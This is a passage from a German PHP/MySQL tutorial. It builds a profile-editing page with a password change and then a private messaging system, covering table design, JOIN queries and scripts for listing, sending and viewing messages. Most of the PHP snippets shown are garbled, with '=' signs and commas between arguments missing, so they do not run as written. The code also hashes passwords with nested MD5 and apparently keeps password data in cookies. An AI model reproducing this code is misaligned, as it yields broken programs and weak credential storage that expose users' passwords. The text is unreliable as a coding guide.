Somit ist der default-Teil fertig. Wir hätten bei bind_result die Daten aus der Datenbank direkt in die Felder $ret['data']['Username'] und $ret['data']['Email'] speichern können, jedoch sollten wir erstmal lernen wie es überhaupt geht bevor wir elegante Kurzschreibweisen verwenden.

In der templates/profile.tpl geben wir nun diese Daten aus.

<?php
 
/*
  * Daten:
  * - Username: Der Benutzername
  * - Email: Die Emailadresse
  */
?><form action="index.php?section=profile" method="post">
    <fieldset>
        <legend>Profil bearbeiten</legend>
        <label>Benutzername: <input type="text" name="Username" value="<?php echo htmlspecialchars($data['Username']); ?>" /></label>
        <label>Email: <input type="text" name="Email" value="<?php echo htmlspecialchars($data['Email']); ?>" /></label>
        <input type="submit" name="formaction" value="Profil speichern" />
    </fieldset>
</form>
<form action="index.php?section=profile" method="post">
    <fieldset>
        <legend>Password ändern</legend>
        <label>Altes Password: <input type="password" name="Old" /></label>
        <label>Neues Password: <input type="password" name="Password[]" /></label>
        <label>Bestätigen: <input type="password" name="Password[]" /></label>
        <input type="submit" name="formaction" value="Password ändern" />
    </fieldset>
</form>

Hier sieht man das zwei Formulare definiert wurden, beide mit einem unterschiedlichen Submit-Button. Das erste Formular dient dazu nicht sensible Daten wie Benutzername und Email zu verändern. Dieses benötigt auch keine Password-Eingabe. Das zweite Formular ändert jedoch sensible Daten, in diesem Fall das Password. Daher wird auch nach dem alten Password verlangt. Dies ist eine Sicherheitsmaßnahme damit nicht z.B. der Freund kurz an den Rechner geht mit dem wissen das sein Freund eingeloggt ist und einfach so das Password ändert. Dies ist auch immer die Gradwanderung zwischen Sicherheit und Komfort. Das muss jeder selbst entscheiden wie sicher bzw. wie benutzerfreundlich jemand etwas programmieren will. Hier könnte man z.B. auch das Ändern des Benutzernamens mit einer Passwordabfrage schützen da der Benutzername gleichzeitig der Login ist. Um hier den Unterschied zu zeigen kann man Benutzername und Email ohne Password ändern, das neue Password jedoch nur mit dem alten Password.

In der includes/profile.php können wir nun auf die entsprechenden Submit-Buttons reagieren. Zuerst schreiben wir den Code für die Bearbeitung des Benutzernamens und der Emailadresse. Auch hier kommen wieder unsere Grundabfragen, die so ähnlich sind wie die aus der includes/register.php-Datei.

<?php
// [...]
case 'Profil speichern':
    if (!isset(
$_POST['Username'], $_POST['Email'])) {
        return 
INVALID_FORM;
    }
    if ((
$Username trim($_POST['Username'])) == '' OR
            (
$Email trim($_POST['Email'])) == '') {
        return 
EMPTY_FORM;
    }
    if (!
preg_match('~\A\S{3,30}\z~'$Username)) {
        return 
'Der Benutzername darf nur aus 3 bis 30 Zeichen bestehen und '.
               
'keine Leerzeichen enthalten.';
    }
    break;
// [...]
?>

Nun prüfen wir ob bereits ein Benutzer den ggf. neuen Benutzernamen verwendet.

<?php
    
// [...]
    
if (!preg_match('~\A\S{3,30}\z~'$Username)) {
        return 
'Der Benutzername darf nur aus 3 bis 30 Zeichen bestehen und '.
               
'keine Leerzeichen enthalten.';
    }
    
$sql 'SELECT
                ID
            FROM
                User
            WHERE
                Username = ? AND
                ID != ?'
;
    
// das "ID != ?" dient dazu das wir nicht unseren eigenen Benutzernamen
    // finden sondern nur die der anderen.
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$stmt->bind_param('si'$Username$UserID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($OtherID);
    
$stmt->fetch();
    
$stmt->close();
    if (
$OtherID) {
        return 
'Es gibt bereits ein Benutzer der diesen Namen verwendet.';
    }
    
// [...]
?>

Da der Benutzername und die Email in Ordnung ist speichern wir diese nun ab.

<?php
    
// [...]
    
if ($OtherID) {
        return 
'Es gibt bereits ein Benutzer der diesen Namen verwendet.';
    }
    
$sql 'UPDATE
                User
            SET
                Username = ?,
                Email = ?
            WHERE
                ID = ?'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$stmt->bind_param('ssi'$Username$Email$UserID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    return 
showInfo('Der Benutzername und die Email wurde aktuallisiert.');
    break;
    
// [...]
?>

Auch wenn die break;-Anweisung nie erreicht wird dient sie der Übersicht vom switch().

Beim Password ändern prüfen wir zuerst das alte Password und speichern dann das neue. Dabei können wir auch wieder den Code aus der includes/register.php verwenden. Wir beginnen mit dem Grundgerüst.

<?php
// [...]
case 'Password ändern':
    if (!isset(
$_POST['Old'], $_POST['Password'])) {
        return 
INVALID_FORM;
    }
    if (!
is_array($_POST['Password']) OR count($_POST['Password']) != 2) {
        return 
INVALID_FORM;
    }
    if (
$_POST['Password'][0] != $_POST['Password'][1]) {
        return 
'Bitte geben sie das gleiche Password ein.';
    }
    if ((
$Old trim($_POST['Old'])) == '' OR
            (
$Password trim($_POST['Password'][0])) == '') {
        return 
EMPTY_FORM;
    }
    break;
// [...]
?>

Nun prüfen wir ob das Password stimmt.

<?php
    
// [...]
    
if (($Old trim($_POST['Old'])) == '' OR
            (
$Password trim($_POST['Password'][0])) == '') {
        return 
EMPTY_FORM;
    }
    
$sql 'SELECT
                ID
            FROM
                User
            WHERE
                ID = ? AND
                Password = ?'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$Hash md5(md5($UserID).$Old);
    
$stmt->bind_param('is'$UserID$Hash);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    if (!
$stmt->fetch()) {
        return 
'Das eingegebene Password ist ungültig.';
    }
    
$stmt->close();
    
// [...]
?>

Nun da das alte Password stimmt, das neue Password auch gültig ist speichern wir nun das neue Password.

<?php
    
// [...]
    
if (!$stmt->fetch()) {
        return 
'Das eingegebene Password ist ungültig.';
    }
    
$stmt->close();
    
$sql 'UPDATE
                User
            SET
                Password = ?
            WHERE
                ID = ?'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        return 
$db->error;
    }
    
$Hash md5(md5($UserID).$Password);
    
$stmt->bind_param('si'$Hash$UserID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
// [...]
?>

Bevor wir eine Nachricht ausgeben lassen löschen wir die Cookies da sie eh ungültig sind.

<?php
    
// [...]
    
if (!$stmt->execute()) {
        return 
$stmt->error;
    }
    
setcookie('UserID'''strtotime('-1 day'));
    
setcookie('Password'''strtotime('-1 day'));
    unset(
$_COOKIE['Username']);
    unset(
$_COOKIE['Password']);
    return 
showInfo('Das Password wurde geändert. Sie wurden automatisch ausgeloggt und müssen '.
                    
'sich ggf. neu einloggen.');
    break;
    
// [...]
?>

Nun kann auch jeder sein Password ändern.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Nachrichtensystem

  1. Aufbau des Nachrichtensystems
  2. Einbindung in unser Templatesystem
  3. JOIN-Anfragen
  4. Anzeigen der Nachrichten
  5. Schreiben neuer Nachrichten
  6. Nachricht anzeigen
  7. Auf eine Nachricht antworten
  8. Nachrichten löschen

1. Aufbau des Nachrichtensystems

Da wir nun ein funktionierenden Login haben können wir diesen nun Testweise verwenden. Dazu schreiben wir ein Nachrichtensystem mit den wir anderen Benutzern Nachrichten schreiben können. Dies ist üblicherweise in Internetforen bekannt als PM-System (von private message).

Die MySQL-Tabelle muss für eine Nachricht folgende Daten speichern.

Die MySQL-Anfrage sieht dann wie folgt aus.

CREATE TABLE Nachricht (
    ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
    Quelle INT UNSIGNED NOT NULL,
    Ziel INT UNSIGNED NOT NULL,
    Datum DATETIME NOT NULL,
    Gelesen DATETIME NULL,
    Betreff VARCHAR(100) NOT NULL,
    Inhalt TEXT NOT NULL 
);

Analog kann man auch die Tabelle in phpMyAdmin hinzufügen.

2. Einbindung in unser Templatesystem

Für unser Templatesystem verwenden wir das $dateien-Array mit dem wir angeben welche Dateien geladen werden können. Bei dem Templatesystem gibt es jedoch mehrere Aktionen die auftreten können.

  1. Einmal kann man sich in einer Übersicht alle Nachrichten angucken die man geschrieben hat und die man empfangen hat. Insbesondere können hier auch Nachrichten gelöscht werden.

  2. Des Weiteren kann man sich den Inhalt einer Nachricht angucken. Darauf folgend kann man z.B. die Nachricht löschen oder auf dieser Antworten.

  3. Dann kann man auch einfach so eine neue Nachricht schreiben. Interessant wird auch wie man die Benutzer findet, für die eine Nachricht bestimmt ist.

All diese Aktionen müssen irgendwie in unsere Datei eingebunden werden und wir brauchen entsprechende Template-Dateien mit den wir den entsprechenden HTML-Code anzeigen. Hier sollte man ein wenig vorher überlegen welche Bereiche wie aufgerufen werden, mit welcher HTTP-Methode und mit welchen Variablen.

Um die ganzen Teilbereiche zu erreichen verwenden wir eine neu GET-Variable action in der wir die Aktion angeben die wir machen wollen. Für jeden dieser Bereiche legen wir ein PHP-Skript und ein HTML-Template an. Die Bereiche laden wir mit einem Arrayinclude ähnlich der in der index.php-Datei.

<?php
if (!$UserID GetUserID($db)) {
    return 
NOT_LOGGED_IN;
}
$actions = array();
$actions['view'] = 'pm_view.php';
$actions['delete'] = 'pm_delete.php';
$actions['reply'] = 'pm_reply.php';
$actions['find'] = 'pm_find.php';
$actions['new'] = 'pm_new.php';
if (isset(
$_GET['action'], $actions[$_GET['action']])) {
    return include 
$actions[$_GET['action']];
}
return include 
'pm_overview.php';
?>

Einmal sehen wir das abgefragt wurde ob man eingeloggt ist. Des Weiteren definieren wir unser Arrayinclude und rufen als Fallback die pm_overview.php-Datei auf. Die pm.php-Datei definiert selbst nicht das Return-Array sondern liefert das zurück was die Include-Dateien generieren. Natürlich darf nicht vergessen diese Datei auch in unser $section-Array einzutragen.

Zuerst schreiben wir die Template-Datei damit wir wissen was wir alles für Daten brauchen.

<?php
/*
 * Daten:
 *   neu - Ein Array mit Arrays für jede ungelesen Nachricht. Jedes Array
 *         für eine Nachricht hat die folgende Werte:
 *       ID - Die ID der Nachricht
 *       Betreff - Den Betreff der Nachricht
 *       Autor - Der Name vom Benutzer der die Nachricht geschrieben hat.
 *       Datum - Der Zeitpunkt wann die Nachricht gesendet wurde.
 *   alt - Ein Array mit Arrays für jede bereits gelesene Nachricht. Der
 *         Aufbau des Arrays ist der selbe wie oben, nur das es ein
 *         weiteres Feld enthält.
 *       Gelesen - Der Zeitpunkt wann die Nachricht angeguckt wurde.
 */
?><form action="index.php?section=pm&amp;action=delete" method="post">
    <table class="messages new">
        <caption>Ungelesene Nachrichten</caption>
        <thead>
            <tr>
                <th>Betreff</th>
                <th>Autor</th>
                <th>Datum</th>
                <th>Markieren</th>
            </tr>
        </thead>
        <tfoot>
            <tr>
                <td colspan="3">Markierte Nachrichten löschen</td>
                <td><input type="submit" name="formaction" value="Löschen" /></td>
            </tr>
        </tfoot>
        <tbody>
<?php
    foreach ($data['new'] as $message) {
        echo "            <tr>\n";
        echo '                <td><a href="index.php?section=pm&amp;action=view&amp;ID='.$message['ID'].'">'.
             htmlspecialchars($message['Betreff'])."</a></td>\n";
        echo '                <td>'.htmlspecialchars($message['Autor'])."</td>\n";
        echo '                <td>'.htmlspecialchars($message['Datum'])."</td>\n";
        echo '                <td><input type="checkbox" name="ID[]" value="'.$message['ID'].'" /></td>'."\n";
        echo "            </tr>\n";
    }
?>
        </tbody>
    </table>
    <table class="messages old">
        <caption>Gelesene Nachrichten</caption>
        <thead>
            <tr>
                <th>Betreff</th>
                <th>Autor</th>
                <th>Datum</th>
                <th>Gelesen</th>
                <th>Markieren</th>
            </tr>
        </thead>
        <tfoot>
            <tr>
                <td colspan="4">Markierte Nachrichten löschen</td>
                <td><input type="submit" name="formaction" value="Löschen" /></td>
            </tr>
        </tfoot>
        <tbody>
<?php
    foreach ($data['old'] as $message) {
        echo "            <tr>\n";
        echo '                <td><a href="index.php?section=pm&amp;action=view&amp;ID='.$message['ID'].'">'.
             htmlspecialchars($message['Betreff'])."</a></td>\n";
        echo '                <td>'.htmlspecialchars($message['Autor'])."</td>\n";
        echo '                <td>'.htmlspecialchars($message['Datum'])."</td>\n";
        echo '                <td>'.htmlspecialchars($message['Gelesen'])."</td>\n";
        echo '                <td><input type="checkbox" name="ID[]" value="'.$message['ID'].'" /></td>'."\n";
        echo "            </tr>\n";
    }
?>
        </tbody>
    </table>
</form>
<p>
    <a href="index.php?section=pm&amp;action=new">Neue Nachricht schreiben</a>
</p>

Dazu schreiben wir die pm_overview.php-Datei. Diese wird wie alle anderen Dateien in includes/ abgelegt. Problematisch wird es jedoch den Benutzernamen des Autors auszulesen, da in der Nachrichten-Tabelle nur die ID des Autors steht, nicht dessen Name. Eine Möglichkeit wäre es mit eine While-Schleife die Nachrichten auszulesen und innerhalb dieser While-Schleife verschachtelt eine SQL-Anfrage zu schicken die den Benutzernamen des aktuellen Autors ausliest. Die elegantere Lösung ist jedoch den Namen gleichzeitig mit den Nachrichten auszulesen. Dazu wird eine JOIN-Anfrage verwendet.

3. JOIN-Anfragen

In unserer relationalen Datenbank werden wir auch weiterhin mit IDs arbeiten. Dies entspricht in etwa der Dritten Normalform, die auf jedenfall angestrebt werden sollte. Daher brauchen wir eine Möglichkeit von einer Tabelle zur anderen Tabelle zu gelangen. In MySQL existiert dafür das Schlüsselwort JOIN.

SELECT
    ...
FROM
    Tabelle_A
JOIN
    Tabelle_B

Dieser Query würde zuerst eine Art Kreuzprodukt mit allen Datensätze aus Tabelle A und den Datensätzen aus Tabelle B bilden. Bei 100 Datensätze in Tabelle A und 20 Datensätzen in Tabelle B sind dies 2000 Datensätze die rauskommen. Dies ist meistens unerwünscht, insbesondere weil einige Datensätze aus Tabelle A nicht mit Datensätzen aus Tabelle B semantisch zusammenpassen. Daher besteht bei JOIN die Möglichkeit die Art der Verkettung anzugeben. Dies wird mit dem auf JOIN tbl folgenden Schlüsselwort ON angegeben. Dabei gibt man dort eine Bedingung an wann Datensätze aus Tabelle A mit Datensätzen aus Tabelle B kombiniert werden.

SELECT
    ...
FROM
    Tabelle_A
JOIN
    Tabelle_B
ON
    Tabelle_A.ID = Tabelle_B.ObjektID

Diese Bedingung dient nur für die Verknüpfung der Tabellen. Weitere Semantische Einschränkungen wie Username = 'Foobar' wird normal im WHERE-Teil verarbeitet. Wenn wir aus zwei oder mehr Tabellen auslesen kann es sein dass eine Spaltenangabe wie z.B. ID nicht mehr eindeutig ist. Daher werden bei JOIN-Anfragen die Spalten in der Form Tabelle.Spalte angegeben.

SELECT
    Tabelle_A.ID,
    Tabelle_A.Beschreibung,
    Tabelle_B.Name,
    Tabelle_B.Datum
FROM
    Tabelle_A
JOIN
    Tabelle_B
ON
    Tabelle_A.ID = Tabelle_B.ObjektID

In PHP wird der Spaltenname jedoch weiterhin nur ID, Beschreibung, usw. heißen. Falls das einem nicht passt kann der Namen durch AS neuer_name verändert werden.

SELECT
    Tabelle_A.ID,
    Tabelle_A.Beschreibung,
    Tabelle_B.Name AS Username,
    Tabelle_B.Datum
FROM
    Tabelle_A
JOIN
    Tabelle_B
ON
    Tabelle_A.ID = Tabelle_B.ObjektID

4. Anzeigen der Nachrichten

Da wir nun wissen wie wir den Benutzernamen aus der anderen Tabelle laden können wir nun unsere MySQL-Anfrage abschicken.

<?php
$ret 
= array();
$ret['filename'] = 'pm_overview.tpl';
$ret['data'] = array();
$sql 'SELECT
            Nachricht.ID,
            Nachricht.Betreff,
            User.Username AS Autor,
            Nachricht.Datum
        FROM
            Nachricht
        JOIN
            User
        ON
            Nachricht.Quelle = User.ID
        WHERE
            Nachricht.Ziel = ? AND
            Nachricht.Gelesen IS NULL
        ORDER BY
            Nachricht.Datum DESC'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$UserID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($ID$Betreff$Autor$Datum);
$neu = array();
while (
$stmt->fetch()) {
    
$neu[] = array('ID' => $ID,
                   
'Betreff' => $Betreff,
                   
'Autor' => $Autor,
                   
'Datum' => $Datum);
}
$stmt->close();
$ret['data']['new'] = $neu;
// und das selbe für gelesene Nachrichten.
$sql 'SELECT
            Nachricht.ID,
            Nachricht.Betreff,
            User.Username AS Autor,
            Nachricht.Datum,
            Nachricht.Gelesen
        FROM
            Nachricht
        JOIN
            User
        ON
            Nachricht.Quelle = User.ID
        WHERE
            Nachricht.Ziel = ? AND
            Nachricht.Gelesen IS NOT NULL
        ORDER BY
            Nachricht.Datum DESC'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$UserID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($ID$Betreff$Autor$Datum$Gelesen);
$alt = array();
while (
$stmt->fetch()) {
    
$alt[] = array('ID' => $ID,
                   
'Betreff' => $Betreff,
                   
'Autor' => $Autor,
                   
'Datum' => $Datum,
                   
'Gelesen' => $Gelesen);
}
$stmt->close();
$ret['data']['old'] = $alt;
return 
$ret;
?>

Wie man sieht wählen wir mit Nachricht.Ziel = ? nur die Nachrichten aus die für uns bestimmt sind und mit Nachricht.Gelesen IS (NOT) NULL nur die Nachrichten die wir nicht gelesen bzw. gelesen haben. Um den Benutzernamen des Autors rauszukriegen verwenden wir ein JOIN auf die Tabelle User mit der Bedingung Nachricht.Quelle = User.ID.

5. Schreiben neuer Nachrichten

Damit wir für die späteren Programmteile auch Testnachrichten haben schreiben wir nun den Teil für das Schreiben neuer Nachrichten. Jedoch wissen wir noch nicht wie wir den Empfänger der Nachricht angeben. Die einfachste Möglichkeit wäre ein Eingabefeld in der wir die UserID des Empfängers eingeben. Dies ist jedoch nicht grad Benutzerfreundlich wenn wir Nachrichten an User 557324 oder 2496235 schicken. Besser wäre es doch wenn wir eine Benutzernamen eingeben können. Da der Benutzername nur einmal vorkommen kann könnte dies sogar klappen, könnte aber auch daran scheitern wenn der Benutzernamen aus kryptischen Zeichen besteht. Wir werden jedoch diesen Weg nehmen, auch wenn damit einige Problem verbunden sind.

Zuerst schreiben wir die Template-Datei. Diese braucht keine Daten aus der (noch zu schreibenen) PHP-Datei.

<?php
/* Daten:
 *     keine
 */
?><form action="index.php?section=pm&amp;action=new" method="post">
    <fieldset>
        <legend>Neue Nachricht schreiben</legend>
        <label>Empfänger: <input type="text" name="Empfaenger" /></label>
        <label>Betreff: <input type="text" name="Betreff" /></label>
        <label>Nachricht: <textarea name="Nachricht" cols="40" rows="10"></textarea></label>
        <input type="submit" name="formaction" value="Nachricht senden" />
    </fieldset>
</form>

In unserer PHP-Datei zeigen wir dieses Template an, solange die Seite nicht mit der POST-Methode aufgerufen wurde.

<?php
$ret 
= array();
$ret['filename'] = 'pm_new.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    
}
return 
$ret;
?>

Wie üblich prüfen wir ob alle Daten vorhanden und ausgefüllt sind.

<?php
$ret 
= array();
$ret['filename'] = 'pm_new.tpl';
$ret['data'] = array();
if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['Empfaenger'], $_POST['Betreff'], $_POST['Nachricht'], $_POST['formaction'])) {
        return 
INVALID_FORM;
    }
    if ((
$Empfänger trim($_POST['Empfaenger'])) == '' OR
            (
$Betreff trim($_POST['Betreff'])) == '' OR
            (
$Nachricht trim($_POST['Nachricht'])) == '') {
        return 
EMPTY_FORM;
    }
}
return 
$ret;
?>

Nun lesen wir die UserID vom Empfänger aus und gegen eine Fehlermeldung aus wenn kein Benutzer gefunden wurde.

<?php
    
// [...]
    
if (($Empfänger trim($_POST['Empfaenger'])) == '' OR
            (
$Betreff trim($_POST['Betreff'])) == '' OR
            (
$Nachricht trim($_POST['Nachricht'])) == '') {
        return 
EMPTY_FORM;
    }
    
$sql 'SELECT
                ID
            FROM
                User
            WHERE
                Username = ? AND
                ID != ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('si'$Empfänger$UserID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($ZielID);
    if (!
$stmt->fetch()) {
        return 
'Es wurde kein Benutzer mit diesem Namen gefunden.';
    }
    
$stmt->close();
    
// [...]
?>

Die Bedingung ID != ? dient wieder dazu dass wir uns nicht selbst finden und somit auch keine Nachrichten an uns selbst schreiben können. Da wir nun die ID haben können wir die Nachricht in unserer Tabelle speichern.

<?php
    
// [...]
    
$stmt->close();
    
$sql 'INSERT INTO
                Nachricht(Quelle, Ziel, Datum, Betreff, Inhalt)
            VALUES
                (?, ?, NOW(), ?, ?)'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('iiss'$UserID$ZielID$Betreff$Nachricht);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    return 
showInfo('Die Nachricht wurde gesendet.');
    
// [...]
?>

Dies wars schon. Die Spalte Gelesen wird standardmäßig mit NULL gefüllt und somit wird die Nachricht als ungelesen interpretiert.

6. Nachricht anzeigen

Wenn eine Nachricht angezeigt werden soll müssen wir mehrere Dinge beachten. Einmal könnte jemand versuche eine Nachricht anzuzeigen die nicht für ihn bestimmt ist. Des Weiteren müssen wir beim Anzeigen ggf. darauf achten das in dem Gelesen-Feld der aktuelle Zeitpunkt gespeichert wird weil derjenige Benutzer ja schließlich die Nachricht gelesen hat bzw. zumindest geöffnet hat. Und dann müssen wir auf HTML-Code und Spielerein in den Nachricht achten, wie wir es im Gästebuch gemacht haben.

Zuerst schreiben wir wieder die Template-Datei damit wir wissen welche Daten wir brauchen.

<?php
/* Daten:
 *    ID - Die ID der Nachricht
 *    Quelle - Der Name desjenigen der die Nachricht geschrieben hat
 *    Ziel - Der Name desjenigen für den die Nachricht bestimmt ist.
 *    Datum - Der Zeitpunkt wann die Nachricht gesendet/geschrieben wurde
 *    Gelesen - Der Zeitpunkt wann die Nachricht gelesen/betrachtet wurde, kann NULL sein
 *    Betreff - Der Betreff der Nachricht
 *    Inhalt - Der eigentliche Inhalt der Nachricht.
 */
?>
<table id="nachricht">
    <caption>Nachricht von <?php echo htmlspecialchars($data['Quelle']); ?></caption>
    <tr>
        <th>ID</th>
        <td><?php echo $data['ID']; ?></td>
    </tr>
    <tr>
        <th>Sender</th>
        <td><?php echo htmlspecialchars($data['Quelle']); ?></td>
    </tr>
    <tr>
        <th>Empfänger</th>
        <td><?php echo htmlspecialchars($data['Ziel']); ?></td>
    </tr>
    <tr>
        <th>Gesendet</th>
        <td><?php echo htmlspecialchars($data['Datum']); ?></td>
    </tr>
    <tr>
        <th>Gelesen</th>
        <td><?php
if (is_null($data['Gelesen'])) {
    echo 'Noch nicht gelesen';
} else {
    echo htmlspecialchars($data['Gelesen']);
}
?></td>
    </tr>
    <tr>
        <th>Betreff</th>
        <td><?php echo htmlspecialchars($data['Betreff']); ?>
    </tr>
    <tr>
        <th>Nachricht</th>
        <td><?php echo nl2br(htmlspecialchars(preg_replace('~\S{30}~', '\0 ', $data['Inhalt']))); ?></td>
    </tr>
</table>
<p>
    <a href="index.php?section=pm&amp;action=reply&amp;ID=<?php echo $data['ID']; ?>">Auf diese Nachricht antworten</a>
</p>

Da wir nun die Template-Datei haben und wissen was wir übergeben müssen können wir die Include-Datei schreiben. In der gucken wir ob die GET-Variable ID vorhanden ist die die ID der Nachricht angibt.

<?php
$ret 
= array();
$ret['filename'] = 'pm_view.tpl';
$ret['data'] = array();
if (!isset(
$_GET['ID'])) {
    return 
INVALID_LINK;
}
if ((
$ID trim($_GET['ID'])) == '') {
    return 
'Bitte geben sie eine gültige ID an.'// oder irgendwas passendes schreiben
}
return 
$ret;

Die Konstante INVALID_LINK muss dann entsprechend in der constants.php-Datei definiert werden. Als Fehlermeldung könnte man z.B. Bitte benutzen sie nur Links von der Homepage. verwenden.

Wir müssen nun folgende Daten prüfen. Einmal müssen wir gucken ob es eine Nachricht mit der ID gibt, dann gucken ob wir die Nachricht lesen dürfen und dann die Daten der Nachricht an das Template geben. Dies könnte man z.B. mit drei SQL-Anfragen bewerkstelligen. Zuerst liefern wir uns die ID zurück, dann die UserIDs von Quelle und Ziel und dann die restlichen Daten von der Nachricht. Dies machen wir alles jedoch in einer einzigen SQL-Anfrage. Für die Anzeige im Template benötigen wir jedoch die Benutzernamen der Benutzer. Diese stehen, wie wir wissen, jedoch in der User-Tabelle. Also müssen wir ein JOIN verwenden. Und da wir zwei (unterschiedliche) UserIDs haben brauchen wir auch zwei JOINs. Wir entwickeln die SQL-Anfrage Schritt für Schritt.

SELECT
    ...
FROM
    Nachricht

Wir beginnen von der Nachrichten-Tabelle und lassen den SELECT-Teil erstmal weg. Nun beginnen wir den ersten JOIN auf die User-Tabelle. Da wir zwei mal auf diese Tabelle zugreifen werden müssen wir hier ein Alias mit AS ... verwenden.

SELECT
    ...
FROM
    Nachricht
JOIN
    User AS Sender
ON
    Nachricht.Quelle = Sender.ID

Nun folgt der zweite JOIN auf die selbe Tabelle nur verbinden wir die Datensätze mit der ID im Nachricht.Ziel-Feld.

SELECT
    ...
FROM
    Nachricht
JOIN
    User AS Sender
ON
    Nachricht.Quelle = Sender.ID
JOIN
    User AS Empfaenger
ON
    Nachricht.Ziel = Empfaenger.ID

Nun können wir die Spalten angeben die wir auslesen wollen.

SELECT
    Nachricht.ID,
    Nachricht.Quelle,
    Sender.Username AS QuelleName,
    Nachricht.Ziel,
    Empfaenger.Username AS ZielName,
    Nachricht.Datum,
    Nachricht.Gelesen,
    Nachricht.Betreff,
    Nachricht.Inhalt
FROM
    Nachricht
JOIN
    User AS Sender
ON
    Nachricht.Quelle = Sender.ID
JOIN
    User AS Empfaenger
ON
    Nachricht.Ziel = Empfaenger.ID

Obwohl wir im Template die IDs aus Nachricht.Quelle und Nachricht.Ziel nicht brauchen brauchen wir sie jedoch in unserem PHP-Skript um zu gucken ob wir die Nachricht lesen dürfen. Nun sehen wir auch wie wichtig die ON-Bedingungen sind. Wenn wir 100 User hätten und 50 Nachrichten gespeichert sind würden wir ohne die ON-Bedingungen 100*100*50 = 500.000 Datensätze auslesen, wobei die meisten Datensätze aus der Usertabelle nicht zum Datensatz der Nachricht passt. Durch die ON-Bedingungen lesen wir jedoch nur die Nachrichten mit den Datensätzen aus der User-Tabelle aus die auch Sinn ergeben. Da wir nicht alle Nachrichten brauchen sondern nur eine schränken wir die Wahl der Datensätze mit der WHERE-Bedingung ein.

SELECT
    Nachricht.ID,
    Nachricht.Quelle,
    Sender.Username AS QuelleName,
    Nachricht.Ziel,
    Empfaenger.Username AS ZielName,
    Nachricht.Datum,
    Nachricht.Gelesen,
    Nachricht.Betreff,
    Nachricht.Inhalt
FROM
    Nachricht
JOIN
    User AS Sender
ON
    Nachricht.Quelle = Sender.ID
JOIN
    User AS Empfaenger
ON
    Nachricht.Ziel = Empfaenger.ID
WHERE
    Nachricht.ID = ?

Nun ist unsere SQL-Anfrage fertig und verwenden sie in unserem PHP-Skript.

<?php
$ret 
= array();
$ret['filename'] = 'pm_view.tpl';
$ret['data'] = array();
if (!isset(
$_GET['ID'])) {
    return 
INVALID_LINK;
}
if ((
$ID trim($_GET['ID'])) == '') {
    return 
'Bitte geben sie eine gültige ID an.'// oder irgendwas passendes schreiben
}
$sql 'SELECT
            Nachricht.ID,
            Nachricht.Quelle,
            Sender.Username AS QuelleName,
            Nachricht.Ziel,
            Empfaenger.Username AS ZielName,
            Nachricht.Datum,
            Nachricht.Gelesen,
            Nachricht.Betreff,
            Nachricht.Inhalt
        FROM
            Nachricht
        JOIN
            User AS Sender
        ON
            Nachricht.Quelle = Sender.ID
        JOIN
            User AS Empfaenger
        ON
            Nachricht.Ziel = Empfaenger.ID
        WHERE
            Nachricht.ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$ID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($ID$Quelle$QuelleName$Ziel$ZielName$Datum$Gelesen$Betreff$Inhalt);
if (!
$stmt->fetch()) {
    return 
'Es wurde keine Nachricht mit der angegebenen ID gefunden.';
}
if (
$UserID != $Quelle AND
        
$UserID != $Ziel) { // weder Quelle noch Ziel (erinnert ihr euch noch an De Morgan aus einen früheren Kapitel?...)
    
return 'Sie dürfen diese Nachricht nicht betrachten das wie weder von Ihnen ist noch für sie bestimmt ist.';
}
$stmt->close();
$ret['data']['ID'] = $ID;
$ret['data']['Quelle'] = $QuelleName;
$ret['data']['Ziel'] = $ZielName;
$ret['data']['Datum'] = $Datum;
$ret['data']['Gelesen'] = $Gelesen;
$ret['data']['Betreff'] = $Betreff;
$ret['data']['Inhalt'] = $Inhalt;

return 
$ret;

Zuerst prüfen wir ob es überhaupt eine Nachricht gibt, dann ob wir sie lesen dürfen und dann zeigen wie die Nachricht ggf. an, wenn alles in Ordnung ist. Danach setzen wir den Zeitpunkt wann der Empfänger die Nachricht gelesen hat.

<?php
// [...]
$ret['data']['ID'] = $ID;
$ret['data']['Quelle'] = $QuelleName;
$ret['data']['Ziel'] = $ZielName;
$ret['data']['Datum'] = $Datum;
$ret['data']['Gelesen'] = $Gelesen;
$ret['data']['Betreff'] = $Betreff;
$ret['data']['Inhalt'] = $Inhalt;

if (
is_null($Gelesen) AND $Ziel == $UserID) {
    
$sql 'UPDATE
                Nachricht
            SET
                Gelesen = NOW()
            WHERE
                ID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$ID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->close();
}
return 
$ret;

Mit der is_null-Funktion prüfen wir ob das Gelesen-Feld gesetzt ist und prüfen mit einem einfachen Vergleich ob wir auch derjenige sind für den die Nachricht bestimmt ist. Wenn dies der Fall ist speichern wir den aktuellen Zeitpunkt in das Gelesen-Feld und markieren so das wir die Nachricht gelesen haben.

